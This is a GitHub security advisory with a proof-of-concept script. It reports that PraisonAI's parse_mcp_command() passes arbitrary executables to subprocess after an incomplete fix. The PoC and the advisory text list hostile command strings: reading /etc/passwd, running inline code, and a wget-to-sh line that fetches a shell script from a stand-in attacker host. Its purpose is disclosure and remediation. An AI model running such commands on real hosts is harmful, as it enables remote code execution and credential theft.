GHSA-9QHQ-V63V-FV3J
Vulnerability from github – Published: 2026-04-17 22:23 – Updated: 2026-04-17 22:23Summary
The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.
Affected Package
- Ecosystem: PyPI
- Package: MervinPraison/PraisonAI
- Affected versions: < 47bff65413be
- Patched versions: >= 47bff65413be
Details
The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parse_mcp_command() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.
The fix commit 47bff654 was intended to address command injection, but the patched parse_mcp_command() still lacks three critical controls: there is no ALLOWED_COMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.
Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parse_mcp_command() and passed directly to subprocess execution without filtering.
PoC
#!/usr/bin/env python3
"""
CVE-2026-34935 - PraisonAI command injection via parse_mcp_command()
Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).
The pre-patch parse_mcp_command() performs NO validation on the executable or
arguments, allowing arbitrary command execution via MCP server commands.
Repo: https://github.com/MervinPraison/PraisonAI
Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c
"""
import sys
import os
import importlib.util
# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit
MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py"
def load_mcp_handler():
"""Load the real MCPHandler class from the vulnerable source."""
base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py"
spec_base = importlib.util.spec_from_file_location("features_base", base_path)
mod_base = importlib.util.module_from_spec(spec_base)
sys.modules["features_base"] = mod_base
with open(MCP_PATH) as f:
source = f.read()
source = source.replace("from .base import FlagHandler", """
class FlagHandler:
def print_status(self, msg, level="info"):
print(f"[{level}] {msg}")
""")
ns = {"__name__": "mcp_module", "__file__": MCP_PATH}
exec(compile(source, MCP_PATH, "exec"), ns)
return ns["MCPHandler"]
def main():
MCPHandler = load_mcp_handler()
handler = MCPHandler()
print(f"Source file: {MCP_PATH}")
print(f"Loaded MCPHandler from real PraisonAI source")
print()
malicious_commands = [
"python -c 'import os; os.system(\"id\")'",
"node -e 'require(\"child_process\").execSync(\"whoami\")'",
"bash -c 'cat /etc/passwd'",
"/bin/sh -c 'wget http://evil.com/shell.sh | sh'",
]
print("Testing parse_mcp_command with malicious inputs:")
print()
all_accepted = True
for cmd_str in malicious_commands:
try:
cmd, args, env = handler.parse_mcp_command(cmd_str)
print(f" Input: {cmd_str}")
print(f" Command: {cmd}")
print(f" Args: {args}")
print(f" Result: ACCEPTED (no validation)")
print()
except Exception as e:
print(f" Input: {cmd_str}")
print(f" Result: REJECTED ({e})")
all_accepted = False
print()
if all_accepted:
print("ALL malicious commands accepted without validation!")
print()
with open(MCP_PATH) as f:
source = f.read()
has_allowlist = "ALLOWED_COMMANDS" in source or "allowlist" in source.lower()
has_basename_check = "os.path.basename" in source
has_validation = has_allowlist or has_basename_check
print(f"Has command allowlist: {has_allowlist}")
print(f"Has basename check: {has_basename_check}")
print(f"Has any command validation: {has_validation}")
print()
if not has_validation:
print("COMMAND INJECTION: parse_mcp_command() has NO command validation!")
print(" - No allowlist of permitted executables")
print(" - No argument inspection")
print(" - Arbitrary commands passed directly to subprocess execution")
print()
print("VULNERABILITY CONFIRMED")
sys.exit(0)
print("Some commands were rejected - validation present")
sys.exit(1)
if __name__ == "__main__":
main()
Steps to reproduce:
1. git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real
2. cd /tmp/praisonai_real && git checkout 47bff654~1
3. python3 poc.py
Expected output:
VULNERABILITY CONFIRMED
parse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.
Impact
An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.
Suggested Remediation
Implement a strict allowlist of permitted executables (e.g., npx, uvx, node, python) in parse_mcp_command(). Validate commands against os.path.basename() to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., -c, -e flags enabling inline code execution).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.148"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.149"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T22:23:50Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe fix for PraisonAI\u0027s MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.\n\n### Affected Package\n\n- **Ecosystem:** PyPI\n- **Package:** MervinPraison/PraisonAI\n- **Affected versions:** \u003c 47bff65413be\n- **Patched versions:** \u003e= 47bff65413be\n\n### Details\n\nThe vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.\n\nThe fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.\n\nMalicious MCP server commands such as `python -c \u0027import os; os.system(\"id\")\u0027`, `bash -c \u0027cat /etc/passwd\u0027`, and `/bin/sh -c \u0027wget http://evil.com/shell.sh | sh\u0027` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-34935 - PraisonAI command injection via parse_mcp_command()\n\nTests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).\nThe pre-patch parse_mcp_command() performs NO validation on the executable or\narguments, allowing arbitrary command execution via MCP server commands.\n\nRepo: https://github.com/MervinPraison/PraisonAI\nPatch commit: 47bff65413beaa3c21bf633c1fae4e684348368c\n\"\"\"\n\nimport sys\nimport os\nimport importlib.util\n\n# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit\nMCP_PATH = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py\"\n\ndef load_mcp_handler():\n \"\"\"Load the real MCPHandler class from the vulnerable source.\"\"\"\n base_path = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py\"\n\n spec_base = importlib.util.spec_from_file_location(\"features_base\", base_path)\n mod_base = importlib.util.module_from_spec(spec_base)\n sys.modules[\"features_base\"] = mod_base\n\n with open(MCP_PATH) as f:\n source = f.read()\n\n source = source.replace(\"from .base import FlagHandler\", \"\"\"\nclass FlagHandler:\n def print_status(self, msg, level=\"info\"):\n print(f\"[{level}] {msg}\")\n\"\"\")\n\n ns = {\"__name__\": \"mcp_module\", \"__file__\": MCP_PATH}\n exec(compile(source, MCP_PATH, \"exec\"), ns)\n return ns[\"MCPHandler\"]\n\n\ndef main():\n MCPHandler = load_mcp_handler()\n handler = MCPHandler()\n\n print(f\"Source file: {MCP_PATH}\")\n print(f\"Loaded MCPHandler from real PraisonAI source\")\n print()\n\n malicious_commands = [\n \"python -c \u0027import os; os.system(\\\"id\\\")\u0027\",\n \"node -e \u0027require(\\\"child_process\\\").execSync(\\\"whoami\\\")\u0027\",\n \"bash -c \u0027cat /etc/passwd\u0027\",\n \"/bin/sh -c \u0027wget http://evil.com/shell.sh | sh\u0027\",\n ]\n\n print(\"Testing parse_mcp_command with malicious inputs:\")\n print()\n\n all_accepted = True\n for cmd_str in malicious_commands:\n try:\n cmd, args, env = handler.parse_mcp_command(cmd_str)\n print(f\" Input: {cmd_str}\")\n print(f\" Command: {cmd}\")\n print(f\" Args: {args}\")\n print(f\" Result: ACCEPTED (no validation)\")\n print()\n except Exception as e:\n print(f\" Input: {cmd_str}\")\n print(f\" Result: REJECTED ({e})\")\n all_accepted = False\n print()\n\n if all_accepted:\n print(\"ALL malicious commands accepted without validation!\")\n print()\n\n with open(MCP_PATH) as f:\n source = f.read()\n\n has_allowlist = \"ALLOWED_COMMANDS\" in source or \"allowlist\" in source.lower()\n has_basename_check = \"os.path.basename\" in source\n has_validation = has_allowlist or has_basename_check\n\n print(f\"Has command allowlist: {has_allowlist}\")\n print(f\"Has basename check: {has_basename_check}\")\n print(f\"Has any command validation: {has_validation}\")\n print()\n\n if not has_validation:\n print(\"COMMAND INJECTION: parse_mcp_command() has NO command validation!\")\n print(\" - No allowlist of permitted executables\")\n print(\" - No argument inspection\")\n print(\" - Arbitrary commands passed directly to subprocess execution\")\n print()\n print(\"VULNERABILITY CONFIRMED\")\n sys.exit(0)\n\n print(\"Some commands were rejected - validation present\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real`\n2. `cd /tmp/praisonai_real \u0026\u0026 git checkout 47bff654~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nparse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.\n```\n\n### Impact\n\nAn attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.\n\n### Suggested Remediation\n\nImplement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).",
"id": "GHSA-9qhq-v63v-fv3j",
"modified": "2026-04-17T22:23:50Z",
"published": "2026-04-17T22:23:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34935"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incomplete fix for CVE-2026-34935: Command Injection in MervinPraison/PraisonAI"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.